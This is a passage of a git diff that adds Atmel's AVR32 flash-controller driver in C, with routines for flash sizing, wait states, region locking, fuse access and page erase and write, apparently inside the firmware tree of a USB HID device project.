10, + 16 << 10, + 32 << 10, + 48 << 10, + 64 << 10, + 96 << 10, + 128 << 10, + 192 << 10, + 256 << 10, + 384 << 10, + 512 << 10, + 768 << 10, + 1024 << 10, + 2048 << 10 + }; + return FLASH_SIZE[(AVR32_FLASHC.pr & AVR32_FLASHC_PR_FSZ_MASK) >> AVR32_FLASHC_PR_FSZ_OFFSET]; +#else // in older flashc version, FSZ is located in FSR register + static const unsigned int FLASH_SIZE[1 << AVR32_FLASHC_FSR_FSZ_SIZE] = + { + 32 << 10, + 64 << 10, + 128 << 10, + 256 << 10, + 384 << 10, + 512 << 10, + 768 << 10, + 1024 << 10 + }; + return FLASH_SIZE[(AVR32_FLASHC.fsr & AVR32_FLASHC_FSR_FSZ_MASK) >> AVR32_FLASHC_FSR_FSZ_OFFSET]; +#endif +} + + +unsigned int flashc_get_page_count(void) +{ + return flashc_get_flash_size() / AVR32_FLASHC_PAGE_SIZE; +} + + +unsigned int flashc_get_page_count_per_region(void) +{ + return flashc_get_page_count() / AVR32_FLASHC_REGIONS; +} + + +unsigned int flashc_get_page_region(int page_number) +{ + return ((page_number >= 0) ? page_number : flashc_get_page_number()) / flashc_get_page_count_per_region(); +} + + +unsigned int flashc_get_region_first_page_number(unsigned int region) +{ + return region * flashc_get_page_count_per_region(); +} + + +//! @} + + +/*! \name FLASHC Control + */ +//! @{ + + +unsigned int flashc_get_wait_state(void) +{ + return (AVR32_FLASHC.fcr & AVR32_FLASHC_FCR_FWS_MASK) >> AVR32_FLASHC_FCR_FWS_OFFSET; +} + + +void flashc_set_wait_state(unsigned int wait_state) +{ + u_avr32_flashc_fcr_t u_avr32_flashc_fcr = {AVR32_FLASHC.fcr}; + u_avr32_flashc_fcr.FCR.fws = wait_state; + AVR32_FLASHC.fcr = u_avr32_flashc_fcr.fcr; +} + + +void flashc_set_bus_freq(unsigned int cpu_f_hz) +{ + if(cpu_f_hz >= AVR32_FLASHC_FWS_0_MAX_FREQ) + { + // Set 1 WS. + flashc_set_wait_state(1); + } + else + { + // Set 0 WS. + flashc_set_wait_state(0); + } +} + +Bool flashc_is_ready_int_enabled(void) +{ + return ((AVR32_FLASHC.fcr & AVR32_FLASHC_FCR_FRDY_MASK) != 0); +} + + +void flashc_enable_ready_int(Bool enable) +{ + u_avr32_flashc_fcr_t u_avr32_flashc_fcr = {AVR32_FLASHC.fcr}; + u_avr32_flashc_fcr.FCR.frdy = (enable != false); + AVR32_FLASHC.fcr = u_avr32_flashc_fcr.fcr; +} + + +Bool flashc_is_lock_error_int_enabled(void) +{ + return ((AVR32_FLASHC.fcr & AVR32_FLASHC_FCR_LOCKE_MASK) != 0); +} + + +void flashc_enable_lock_error_int(Bool enable) +{ + u_avr32_flashc_fcr_t u_avr32_flashc_fcr = {AVR32_FLASHC.fcr}; + u_avr32_flashc_fcr.FCR.locke = (enable != false); + AVR32_FLASHC.fcr = u_avr32_flashc_fcr.fcr; +} + + +Bool flashc_is_prog_error_int_enabled(void) +{ + return ((AVR32_FLASHC.fcr & AVR32_FLASHC_FCR_PROGE_MASK) != 0); +} + + +void flashc_enable_prog_error_int(Bool enable) +{ + u_avr32_flashc_fcr_t u_avr32_flashc_fcr = {AVR32_FLASHC.fcr}; + u_avr32_flashc_fcr.FCR.proge = (enable != false); + AVR32_FLASHC.fcr = u_avr32_flashc_fcr.fcr; +} + + +//! @} + + +/*! \name FLASHC Status + */ +//! @{ + + +Bool flashc_is_ready(void) +{ + return ((AVR32_FLASHC.fsr & AVR32_FLASHC_FSR_FRDY_MASK) != 0); +} + + +void flashc_default_wait_until_ready(void) +{ + while (!flashc_is_ready()); +} + + +void (*volatile flashc_wait_until_ready)(void) = flashc_default_wait_until_ready; + + +/*! \brief Gets the error status of the FLASHC. + * + * \return The error status of the FLASHC built up from + * \c AVR32_FLASHC_FSR_LOCKE_MASK and \c AVR32_FLASHC_FSR_PROGE_MASK. + * + * \warning This hardware error status is cleared by all functions reading the + * Flash Status Register (FSR). This function is therefore not part of + * the driver's API which instead presents \ref flashc_is_lock_error + * and \ref flashc_is_programming_error. + */ +static unsigned int flashc_get_error_status(void) +{ + return AVR32_FLASHC.fsr & (AVR32_FLASHC_FSR_LOCKE_MASK | + AVR32_FLASHC_FSR_PROGE_MASK); +} + + +//! Sticky error status of the FLASHC. +//! This variable is updated by functions that issue FLASHC commands. It +//! contains the cumulated FLASHC error status of all the FLASHC commands issued +//! by a function. +static unsigned int flashc_error_status = 0; + + +Bool flashc_is_lock_error(void) +{ + return ((flashc_error_status & AVR32_FLASHC_FSR_LOCKE_MASK) != 0); +} + + +Bool flashc_is_programming_error(void) +{ + return ((flashc_error_status & AVR32_FLASHC_FSR_PROGE_MASK) != 0); +} + + +//! @} + + +/*! \name FLASHC Command Control + */ +//! @{ + + +unsigned int flashc_get_command(void) +{ + return (AVR32_FLASHC.fcmd & AVR32_FLASHC_FCMD_CMD_MASK) >> AVR32_FLASHC_FCMD_CMD_OFFSET; +} + + +unsigned int flashc_get_page_number(void) +{ + return (AVR32_FLASHC.fcmd & AVR32_FLASHC_FCMD_PAGEN_MASK) >> AVR32_FLASHC_FCMD_PAGEN_OFFSET; +} + + +void flashc_issue_command(unsigned int command, int page_number) +{ + u_avr32_flashc_fcmd_t u_avr32_flashc_fcmd; + flashc_wait_until_ready(); + u_avr32_flashc_fcmd.fcmd = AVR32_FLASHC.fcmd; + u_avr32_flashc_fcmd.FCMD.cmd = command; + if (page_number >= 0) u_avr32_flashc_fcmd.FCMD.pagen = page_number; + u_avr32_flashc_fcmd.FCMD.key = AVR32_FLASHC_FCMD_KEY_KEY; + AVR32_FLASHC.fcmd = u_avr32_flashc_fcmd.fcmd; + flashc_error_status = flashc_get_error_status(); + flashc_wait_until_ready(); +} + + +//! @} + + +/*! \name FLASHC Global Commands + */ +//! @{ + + +void flashc_no_operation(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_NOP, -1); +} + + +void flashc_erase_all(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_EA, -1); +} + + +//! @} + + +/*! \name FLASHC Protection Mechanisms + */ +//! @{ + + +Bool flashc_is_security_bit_active(void) +{ + return ((AVR32_FLASHC.fsr & AVR32_FLASHC_FSR_SECURITY_MASK) != 0); +} + + +void flashc_activate_security_bit(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_SSB, -1); +} + + +unsigned int flashc_get_bootloader_protected_size(void) +{ + unsigned int bootprot = (1 << AVR32_FLASHC_FGPFRLO_BOOTPROT_SIZE) - 1 - + flashc_read_gp_fuse_bitfield(AVR32_FLASHC_FGPFRLO_BOOTPROT_OFFSET, + AVR32_FLASHC_FGPFRLO_BOOTPROT_SIZE); + return (bootprot) ? AVR32_FLASHC_PAGE_SIZE << bootprot : 0; +} + + +unsigned int flashc_set_bootloader_protected_size(unsigned int bootprot_size) +{ + flashc_set_gp_fuse_bitfield(AVR32_FLASHC_FGPFRLO_BOOTPROT_OFFSET, + AVR32_FLASHC_FGPFRLO_BOOTPROT_SIZE, + (1 << AVR32_FLASHC_FGPFRLO_BOOTPROT_SIZE) - 1 - + ((bootprot_size) ? + 32 - clz((((min(max(bootprot_size, AVR32_FLASHC_PAGE_SIZE << 1), + AVR32_FLASHC_PAGE_SIZE << + ((1 << AVR32_FLASHC_FGPFRLO_BOOTPROT_SIZE) - 1)) + + AVR32_FLASHC_PAGE_SIZE - 1) / + AVR32_FLASHC_PAGE_SIZE) << 1) - 1) - 1 : + 0)); + return flashc_get_bootloader_protected_size(); +} + + +Bool flashc_is_external_privileged_fetch_locked(void) +{ + return (!flashc_read_gp_fuse_bit(AVR32_FLASHC_FGPFRLO_EPFL_OFFSET)); +} + + +void flashc_lock_external_privileged_fetch(Bool lock) +{ + flashc_set_gp_fuse_bit(AVR32_FLASHC_FGPFRLO_EPFL_OFFSET, !lock); +} + + +Bool flashc_is_page_region_locked(int page_number) +{ + return flashc_is_region_locked(flashc_get_page_region(page_number)); +} + + +Bool flashc_is_region_locked(unsigned int region) +{ + return ((AVR32_FLASHC.fsr & AVR32_FLASHC_FSR_LOCK0_MASK << (region & (AVR32_FLASHC_REGIONS - 1))) != 0); +} + + +void flashc_lock_page_region(int page_number, Bool lock) +{ + flashc_issue_command((lock) ? AVR32_FLASHC_FCMD_CMD_LP : AVR32_FLASHC_FCMD_CMD_UP, page_number); +} + + +void flashc_lock_region(unsigned int region, Bool lock) +{ + flashc_lock_page_region(flashc_get_region_first_page_number(region), lock); +} + + +void flashc_lock_all_regions(Bool lock) +{ + unsigned int error_status = 0; + unsigned int region = AVR32_FLASHC_REGIONS; + while (region) + { + flashc_lock_region(--region, lock); + error_status |= flashc_error_status; + } + flashc_error_status = error_status; +} + + +//! @} + + +/*! \name Access to General-Purpose Fuses + */ +//! @{ + + +Bool flashc_read_gp_fuse_bit(unsigned int gp_fuse_bit) +{ + return ((flashc_read_all_gp_fuses() & 1ULL << (gp_fuse_bit & 0x3F)) != 0); +} + + +U64 flashc_read_gp_fuse_bitfield(unsigned int pos, unsigned int width) +{ + return flashc_read_all_gp_fuses() >> (pos & 0x3F) & ((1ULL << min(width, 64)) - 1); +} + + +U8 flashc_read_gp_fuse_byte(unsigned int gp_fuse_byte) +{ + return flashc_read_all_gp_fuses() >> ((gp_fuse_byte & 0x07) << 3); +} + + +U64 flashc_read_all_gp_fuses(void) +{ + return AVR32_FLASHC.fgpfrlo | (U64)AVR32_FLASHC.fgpfrhi << 32; +} + + +Bool flashc_erase_gp_fuse_bit(unsigned int gp_fuse_bit, Bool check) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_EGPB, gp_fuse_bit & 0x3F); + return (check) ? flashc_read_gp_fuse_bit(gp_fuse_bit) : true; +} + + +Bool flashc_erase_gp_fuse_bitfield(unsigned int pos, unsigned int width, Bool check) +{ + unsigned int error_status = 0; + unsigned int gp_fuse_bit; + pos &= 0x3F; + width = min(width, 64); + for (gp_fuse_bit = pos; gp_fuse_bit < pos + width; gp_fuse_bit++) + { + flashc_erase_gp_fuse_bit(gp_fuse_bit, false); + error_status |= flashc_error_status; + } + flashc_error_status = error_status; + return (check) ? (flashc_read_gp_fuse_bitfield(pos, width) == (1ULL << width) - 1) : true; +} + + +Bool flashc_erase_gp_fuse_byte(unsigned int gp_fuse_byte, Bool check) +{ + unsigned int error_status; + unsigned int current_gp_fuse_byte; + U64 value = flashc_read_all_gp_fuses(); + flashc_erase_all_gp_fuses(false); + error_status = flashc_error_status; + for (current_gp_fuse_byte = 0; current_gp_fuse_byte < 8; current_gp_fuse_byte++, value >>= 8) + { + if (current_gp_fuse_byte != gp_fuse_byte) + { + flashc_write_gp_fuse_byte(current_gp_fuse_byte, value); + error_status |= flashc_error_status; + } + } + flashc_error_status = error_status; + return (check) ? (flashc_read_gp_fuse_byte(gp_fuse_byte) == 0xFF) : true; +} + + +Bool flashc_erase_all_gp_fuses(Bool check) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_EAGPF, -1); + return (check) ? (flashc_read_all_gp_fuses() == 0xFFFFFFFFFFFFFFFFULL) : true; +} + + +void flashc_write_gp_fuse_bit(unsigned int gp_fuse_bit, Bool value) +{ + if (!value) + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_WGPB, gp_fuse_bit & 0x3F); +} + + +void flashc_write_gp_fuse_bitfield(unsigned int pos, unsigned int width, U64 value) +{ + unsigned int error_status = 0; + unsigned int gp_fuse_bit; + pos &= 0x3F; + width = min(width, 64); + for (gp_fuse_bit = pos; gp_fuse_bit < pos + width; gp_fuse_bit++, value >>= 1) + { + flashc_write_gp_fuse_bit(gp_fuse_bit, value & 0x01); + error_status |= flashc_error_status; + } + flashc_error_status = error_status; +} + + +void flashc_write_gp_fuse_byte(unsigned int gp_fuse_byte, U8 value) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_PGPFB, (gp_fuse_byte & 0x07) | value << 3); +} + + +void flashc_write_all_gp_fuses(U64 value) +{ + unsigned int error_status = 0; + unsigned int gp_fuse_byte; + for (gp_fuse_byte = 0; gp_fuse_byte < 8; gp_fuse_byte++, value >>= 8) + { + flashc_write_gp_fuse_byte(gp_fuse_byte, value); + error_status |= flashc_error_status; + } + flashc_error_status = error_status; +} + + +void flashc_set_gp_fuse_bit(unsigned int gp_fuse_bit, Bool value) +{ + if (value) + flashc_erase_gp_fuse_bit(gp_fuse_bit, false); + else + flashc_write_gp_fuse_bit(gp_fuse_bit, false); +} + + +void flashc_set_gp_fuse_bitfield(unsigned int pos, unsigned int width, U64 value) +{ + unsigned int error_status = 0; + unsigned int gp_fuse_bit; + pos &= 0x3F; + width = min(width, 64); + for (gp_fuse_bit = pos; gp_fuse_bit < pos + width; gp_fuse_bit++, value >>= 1) + { + flashc_set_gp_fuse_bit(gp_fuse_bit, value & 0x01); + error_status |= flashc_error_status; + } + flashc_error_status = error_status; +} + + +void flashc_set_gp_fuse_byte(unsigned int gp_fuse_byte, U8 value) +{ + unsigned int error_status; + switch (value) + { + case 0xFF: + flashc_erase_gp_fuse_byte(gp_fuse_byte, false); + break; + case 0x00: + flashc_write_gp_fuse_byte(gp_fuse_byte, 0x00); + break; + default: + flashc_erase_gp_fuse_byte(gp_fuse_byte, false); + error_status = flashc_error_status; + flashc_write_gp_fuse_byte(gp_fuse_byte, value); + flashc_error_status |= error_status; + } +} + + +void flashc_set_all_gp_fuses(U64 value) +{ + unsigned int error_status; + switch (value) + { + case 0xFFFFFFFFFFFFFFFFULL: + flashc_erase_all_gp_fuses(false); + break; + case 0x0000000000000000ULL: + flashc_write_all_gp_fuses(0x0000000000000000ULL); + break; + default: + flashc_erase_all_gp_fuses(false); + error_status = flashc_error_status; + flashc_write_all_gp_fuses(value); + flashc_error_status |= error_status; + } +} + + +//! @} + + +/*! \name Access to Flash Pages + */ +//! @{ + + +void flashc_clear_page_buffer(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_CPB, -1); +} + + +Bool flashc_is_page_erased(void) +{ + return ((AVR32_FLASHC.fsr & AVR32_FLASHC_FSR_QPRR_MASK) != 0); +} + + +Bool flashc_quick_page_read(int page_number) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_QPR, page_number); + return flashc_is_page_erased(); +} + + +Bool flashc_erase_page(int page_number, Bool check) +{ + Bool page_erased = true; + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_EP, page_number); + if (check) + { + unsigned int error_status = flashc_error_status; + page_erased = flashc_quick_page_read(-1); + flashc_error_status |= error_status; + } + return page_erased; +} + + +Bool flashc_erase_all_pages(Bool check) +{ + Bool all_pages_erased = true; + unsigned int error_status = 0; + unsigned int page_number = flashc_get_page_count(); + while (page_number) + { + all_pages_erased &= flashc_erase_page(--page_number, check); + error_status |= flashc_error_status; + } + flashc_error_status = error_status; + return all_pages_erased; +} + + +void flashc_write_page(int page_number) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_WP, page_number); +} + + +Bool flashc_quick_user_page_read(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_QPRUP, -1); + return flashc_is_page_erased(); +} + + +Bool flashc_erase_user_page(Bool check) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_EUP, -1); + return (check) ? flashc_quick_user_page_read() : true; +} + + +void flashc_write_user_page(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_WUP, -1); +} + + +volatile void *flashc_memset8(volatile void *dst, U8 src, size_t nbytes, Bool erase) +{ + return flashc_memset16(dst, src | (U16)src << 8, nbytes, erase); +} + + +volatile void *flashc_memset16(volatile void *dst, U16 src, size_t nbytes, Bool erase) +{ + return flashc_memset32(dst, src | (U32)src << 16, nbytes, erase); +} + + +volatile void *flashc_memset32(volatile void *dst, U32 src, size_t nbytes, Bool erase) +{ + return flashc_memset64(dst, src | (U64)src << 32, nbytes, erase); +} + + +volatile void *flashc_memset64(volatile void *dst, U64 src, size_t nbytes, Bool erase) +{ + // Use aggregated pointers to have several alignments available for a same address. + UnionCVPtr flash_array_end; + UnionVPtr dest; + Union64 source = {0}; + StructCVPtr dest_end; + UnionCVPtr flash_page_source_end; + Bool incomplete_flash_page_end; + Union64 flash_dword; + UnionVPtr tmp; + unsigned int error_status = 0; + unsigned int i; + + // Reformat arguments. + flash_array_end.u8ptr = AVR32_FLASH + flashc_get_flash_size(); + dest.u8ptr = dst; + for (i = (Get_align((U32)dest.u8ptr, sizeof(U64)) - 1) & (sizeof(U64) - 1); + src; i = (i - 1) & (sizeof(U64) - 1)) + { + source.u8[i] = src; + src >>= 8; + } + dest_end.u8ptr = dest.u8ptr + nbytes; + + // If destination is outside flash, go to next flash page if any. + if (dest.u8ptr < AVR32_FLASH) + { + dest.u8ptr = AVR32_FLASH; + } + else if (flash_array_end.u8ptr <= dest.u8ptr && dest.u8ptr < AVR32_FLASHC_USER_PAGE) + { + dest.u8ptr = AVR32_FLASHC_USER_PAGE; + } + + // If end of destination is outside flash, move it to the end of the previous flash page if any. + if (dest_end.u8ptr > AVR32_FLASHC_USER_PAGE + AVR32_FLASHC_USER_PAGE_SIZE) + { + dest_end.u8ptr = AVR32_FLASHC_USER_PAGE + AVR32_FLASHC_USER_PAGE_SIZE; + } + else if (AVR32_FLASHC_USER_PAGE >= dest_end.u8ptr && dest_end.u8ptr > flash_array_end.u8ptr) + { + dest_end.u8ptr = flash_array_end.u8ptr; + } + + // Align each end of destination pointer with its natural boundary. + dest_end.u16ptr = (U16 *)Align_down((U32)dest_end.u8ptr, sizeof(U16)); + dest_end.u32ptr = (U32 *)Align_down((U32)dest_end.u16ptr, sizeof(U32)); + dest_end.u64ptr = (U64 *)Align_down((U32)dest_end.u32ptr, sizeof(U64)); + + // While end of destination is not reached... + while (dest.u8ptr < dest_end.u8ptr) + { + // Clear the page buffer in order to prepare data for a flash page write. + flashc_clear_page_buffer(); + error_status |= flashc_error_status; + + // Determine where the source data will end in the current flash page. + flash_page_source_end.u64ptr = + (U64 *)min((U32)dest_end.u64ptr, + Align_down((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE) + AVR32_FLASHC_PAGE_SIZE); + + // Determine if the current destination page has an incomplete end. + incomplete_flash_page_end = (Align_down((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE) >= + Align_down((U32)dest_end.u8ptr, AVR32_FLASHC_PAGE_SIZE)); + + // Use a flash double-word buffer to manage unaligned accesses. + flash_dword.u64 = source.u64; + + // If destination does not point to the beginning of the current flash page... + if (!Test_align((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE)) + { + // Fill the beginning of the page buffer with the current flash page data. + // This is required by the hardware, even if page erase is not requested, + // in order to be able to write successfully to erased parts of flash + // pages that have already been written to. + for (tmp.u8ptr = (U8 *)Align_down((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE); + tmp.u64ptr < (U64 *)Align_down((U32)dest.u8ptr, sizeof(U64)); + tmp.u64ptr++) + *tmp.u64ptr = *tmp.u64ptr; + + // If destination is not 64-bit aligned... + if (!Test_align((U32)dest.u8ptr, sizeof(U64))) + { + // Fill the beginning of the flash double-word buffer with the current + // flash page data. + // This is required by the hardware, even if page erase is not + // requested, in order to be able to write successfully to erased parts + // of flash pages that have already been written to. + for (i = 0; i < Get_align((U32)dest.u8ptr, sizeof(U64)); i++) + flash_dword.u8[i] = *tmp.u8ptr++; + + // Align the destination pointer with its 64-bit boundary. + dest.u64ptr = (U64 *)Align_down((U32)dest.u8ptr, sizeof(U64)); + + // If the current destination double-word is not the last one... + if (dest.u64ptr < dest_end.u64ptr) + { + // Write the flash double-word buffer to the page buffer and reinitialize it. + *dest.u64ptr++ = flash_dword.u64; + flash_dword.u64 = source.u64; + } + } + } + + // Write the source data to the page buffer with 64-bit alignment. + for (i = flash_page_source_end.u64ptr - dest.u64ptr; i; i--) + *dest.u64ptr++ = source.u64; + + // If the current destination page has an incomplete end... + if (incomplete_flash_page_end) + { + // This is required by the hardware, even if page erase is not requested, + // in order to be able to write successfully to erased parts of flash + // pages that have already been written to. + { + tmp.u8ptr = (volatile U8 *)dest_end.u8ptr; + + // If end of destination is not 64-bit aligned... + if (!Test_align((U32)dest_end.u8ptr, sizeof(U64))) + { + // Fill the end of the flash double-word buffer with the current flash page data. + for (i = Get_align((U32)dest_end.u8ptr, sizeof(U64)); i < sizeof(U64); i++) + flash_dword.u8[i] = *tmp.u8ptr++; + + // Write the flash double-word buffer to the page buffer. + *dest.u64ptr++ = flash_dword.u64; + } + + // Fill the end of the page buffer with the current flash page data. + for (; !Test_align((U32)tmp.u64ptr, AVR32_FLASHC_PAGE_SIZE); tmp.u64ptr++) + *tmp.u64ptr = *tmp.u64ptr; + } + } + + // If the current flash page is in the flash array... + if (dest.u8ptr <= AVR32_FLASHC_USER_PAGE) + { + // Erase the current page if requested and write it from the page buffer. + if (erase) + { + flashc_erase_page(-1, false); + error_status |= flashc_error_status; + } + flashc_write_page(-1); + error_status |= flashc_error_status; + + // If the end of the flash array is reached, go to the User page. + if (dest.u8ptr >= flash_array_end.u8ptr) + dest.u8ptr = AVR32_FLASHC_USER_PAGE; + } + // If the current flash page is the User page... + else + { + // Erase the User page if requested and write it from the page buffer. + if (erase) + { + flashc_erase_user_page(false); + error_status |= flashc_error_status; + } + flashc_write_user_page(); + error_status |= flashc_error_status; + } + } + + // Update the FLASHC error status. + flashc_error_status = error_status; + + // Return the initial destination pointer as the standard memset function does. + return dst; +} + + +volatile void *flashc_memcpy(volatile void *dst, const void *src, size_t nbytes, Bool erase) +{ + // Use aggregated pointers to have several alignments available for a same address. + UnionCVPtr flash_array_end; + UnionVPtr dest; + UnionCPtr source; + StructCVPtr dest_end; + UnionCVPtr flash_page_source_end; + Bool incomplete_flash_page_end; + Union64 flash_dword; + Bool flash_dword_pending = false; + UnionVPtr tmp; + unsigned int error_status = 0; + unsigned int i, j; + + // Reformat arguments. + flash_array_end.u8ptr = AVR32_FLASH + flashc_get_flash_size(); + dest.u8ptr = dst; + source.u8ptr = src; + dest_end.u8ptr = dest.u8ptr + nbytes; + + // If destination is outside flash, go to next flash page if any. + if (dest.u8ptr < AVR32_FLASH) + { + source.u8ptr += AVR32_FLASH - dest.u8ptr; + dest.u8ptr = AVR32_FLASH; + } + else if (flash_array_end.u8ptr <= dest.u8ptr && dest.u8ptr < AVR32_FLASHC_USER_PAGE) + { + source.u8ptr += AVR32_FLASHC_USER_PAGE - dest.u8ptr; + dest.u8ptr = AVR32_FLASHC_USER_PAGE; + } + + // If end of destination is outside flash, move it to the end of the previous flash page if any. + if (dest_end.u8ptr > AVR32_FLASHC_USER_PAGE + AVR32_FLASHC_USER_PAGE_SIZE) + { + dest_end.u8ptr = AVR32_FLASHC_USER_PAGE + AVR32_FLASHC_USER_PAGE_SIZE; + } + else if (AVR32_FLASHC_USER_PAGE >= dest_end.u8ptr && dest_end.u8ptr > flash_array_end.u8ptr) + { + dest_end.u8ptr = flash_array_end.u8ptr; + } + + // Align each end of destination pointer with its natural boundary. + dest_end.u16ptr = (U16 *)Align_down((U32)dest_end.u8ptr, sizeof(U16)); + dest_end.u32ptr = (U32 *)Align_down((U32)dest_end.u16ptr, sizeof(U32)); + dest_end.u64ptr = (U64 *)Align_down((U32)dest_end.u32ptr, sizeof(U64)); + + // While end of destination is not reached... + while (dest.u8ptr < dest_end.u8ptr) + { + // Clear the page buffer in order to prepare data for a flash page write. + flashc_clear_page_buffer(); + error_status |= flashc_error_status; + + // Determine where the source data will end in the current flash page. + flash_page_source_end.u64ptr = + (U64 *)min((U32)dest_end.u64ptr, + Align_down((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE) + AVR32_FLASHC_PAGE_SIZE); + + // Determine if the current destination page has an incomplete end. + incomplete_flash_page_end = (Align_down((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE) >= + Align_down((U32)dest_end.u8ptr, AVR32_FLASHC_PAGE_SIZE)); + + // If destination does not point to the beginning of the current flash page... + if (!Test_align((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE)) + { + // Fill the beginning of the page buffer with the current flash page data. + // This is required by the hardware, even if page erase is not requested, + // in order to be able to write successfully to erased parts of flash + // pages that have already been written to. + for (tmp.u8ptr = (U8 *)Align_down((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE); + tmp.u64ptr < (U64 *)Align_down((U32)dest.u8ptr, sizeof(U64)); + tmp.u64ptr++) + *tmp.u64ptr = *tmp.u64ptr; + + // If destination is not 64-bit aligned... + if (!Test_align((U32)dest.u8ptr, sizeof(U64))) + { + // Fill the beginning of the flash double-word buffer with the current + // flash page data. + // This is required by the hardware, even if page erase is not + // requested, in order to be able to write successfully to erased parts + // of flash pages that have already been written to. + for (i = 0; i < Get_align((U32)dest.u8ptr, sizeof(U64)); i++) + flash_dword.u8[i] = *tmp.u8ptr++; + + // Fill the end of the flash double-word buffer with the source data. + for (; i < sizeof(U64); i++) + flash_dword.u8[i] = *source.u8ptr++; + + // Align the destination pointer with its 64-bit boundary. + dest.u64ptr = (U64 *)Align_down((U32)dest.u8ptr, sizeof(U64)); + + // If the current destination double-word is not the last one... + if (dest.u64ptr < dest_end.u64ptr) + { + // Write the flash double-word buffer to the page buffer. + *dest.u64ptr++ = flash_dword.u64; + } + // If the current destination double-word is the last one, the flash + // double-word buffer must be kept for later. + else flash_dword_pending = true; + } + } + + // Read the source data with the maximal possible alignment and write it to + // the page buffer with 64-bit alignment. + switch (Get_align((U32)source.u8ptr, sizeof(U32))) + { + case 0: + for (i = flash_page_source_end.u64ptr - dest.u64ptr; i; i--) + *dest.u64ptr++ = *source.u64ptr++; + break; + + case sizeof(U16): + for (i = flash_page_source_end.u64ptr - dest.u64ptr; i; i--) + { + for (j = 0; j < sizeof(U64) / sizeof(U16); j++) flash_dword.u16[j] = *source.u16ptr++; + *dest.u64ptr++ = flash_dword.u64; + } + break; + + default: + for (i = flash_page_source_end.u64ptr - dest.u64ptr; i; i--) + { + for (j = 0; j < sizeof(U64); j++) flash_dword.u8[j] = *source.u8ptr++; + *dest.u64ptr++ = flash_dword.u64; + } + } + + // If the current destination page has an incomplete end... + if (incomplete_flash_page_end) + { + // If the flash double-word buffer is in use, do not initialize it. + if (flash_dword_pending) i = Get_align((U32)dest_end.u8ptr, sizeof(U64)); + // If the flash double-word buffer is free... + else + { + // Fill the beginning of the flash double-word buffer with the source data. + for (i = 0; i < Get_align((U32)dest_end.u8ptr, sizeof(U64)); i++) + flash_dword.u8[i] = *source.u8ptr++; + } + + // This is required by the hardware, even if page erase is not requested, + // in order to be able to write successfully to erased parts of flash + // pages that have already been written to. + { + tmp.u8ptr = (volatile U8 *)dest_end.u8ptr; + + // If end of destination is not 64-bit aligned... + if (!Test_align((U32)dest_end.u8ptr, sizeof(U64))) + { + // Fill the end of the flash double-word buffer with the current flash page data. + for (; i < sizeof(U64); i++) + flash_dword.u8[i] = *tmp.u8ptr++; + + // Write the flash double-word buffer to the page buffer. + *dest.u64ptr++ = flash_dword.u64; + } + + // Fill the end of the page buffer with the current flash page data. + for (; !Test_align((U32)tmp.u64ptr, AVR32_FLASHC_PAGE_SIZE); tmp.u64ptr++) + *tmp.u64ptr = *tmp.u64ptr; + } + } + + // If the current flash page is in the flash array... + if (dest.u8ptr <= AVR32_FLASHC_USER_PAGE) + { + // Erase the current page if requested and write it from the page buffer. + if (erase) + { + flashc_erase_page(-1, false); + error_status |= flashc_error_status; + } + flashc_write_page(-1); + error_status |= flashc_error_status; + + // If the end of the flash array is reached, go to the User page. + if (dest.u8ptr >= flash_array_end.u8ptr) + { + source.u8ptr += AVR32_FLASHC_USER_PAGE - dest.u8ptr; + dest.u8ptr = AVR32_FLASHC_USER_PAGE; + } + } + // If the current flash page is the User page... + else + { + // Erase the User page if requested and write it from the page buffer. + if (erase) + { + flashc_erase_user_page(false); + error_status |= flashc_error_status; + } + flashc_write_user_page(); + error_status |= flashc_error_status; + } + } + + // Update the FLASHC error status. + flashc_error_status = error_status; + + // Return the initial destination pointer as the standard memcpy function does. + return dst; +} + + +#if UC3C +void flashc_set_flash_waitstate_and_readmode(unsigned long cpu_f_hz) +{ + //! Device-specific data + #undef AVR32_FLASHC_FWS_0_MAX_FREQ + #undef AVR32_FLASHC_FWS_1_MAX_FREQ + #undef AVR32_FLASHC_HSEN_FWS_0_MAX_FREQ + #undef AVR32_FLASHC_HSEN_FWS_1_MAX_FREQ + #define AVR32_FLASHC_FWS_0_MAX_FREQ 33000000 + #define AVR32_FLASHC_FWS_1_MAX_FREQ 66000000 + #define AVR32_FLASHC_HSEN_FWS_0_MAX_FREQ 33000000 + #define AVR32_FLASHC_HSEN_FWS_1_MAX_FREQ 72000000 + // These defines are missing from or wrong in the toolchain header files uc3cxxx.h + // Put a Bugzilla + + if(cpu_f_hz > AVR32_FLASHC_HSEN_FWS_0_MAX_FREQ) // > 33MHz + { + // Set a wait-state + flashc_set_wait_state(1); + if(cpu_f_hz <= AVR32_FLASHC_FWS_1_MAX_FREQ) // <= 66MHz and >33Mhz + { + // Disable the high-speed read mode. + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSDIS, -1); + } + else // > 66Mhz + { + // Enable the high-speed read mode. + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSEN, -1); + } + } + else // <= 33 MHz + { + // Disable wait-state + flashc_set_wait_state(0); + + // Disable the high-speed read mode. + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSDIS, -1); + + } +} +#endif // UC3C device-specific implementation + +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/flashc/flashc.h 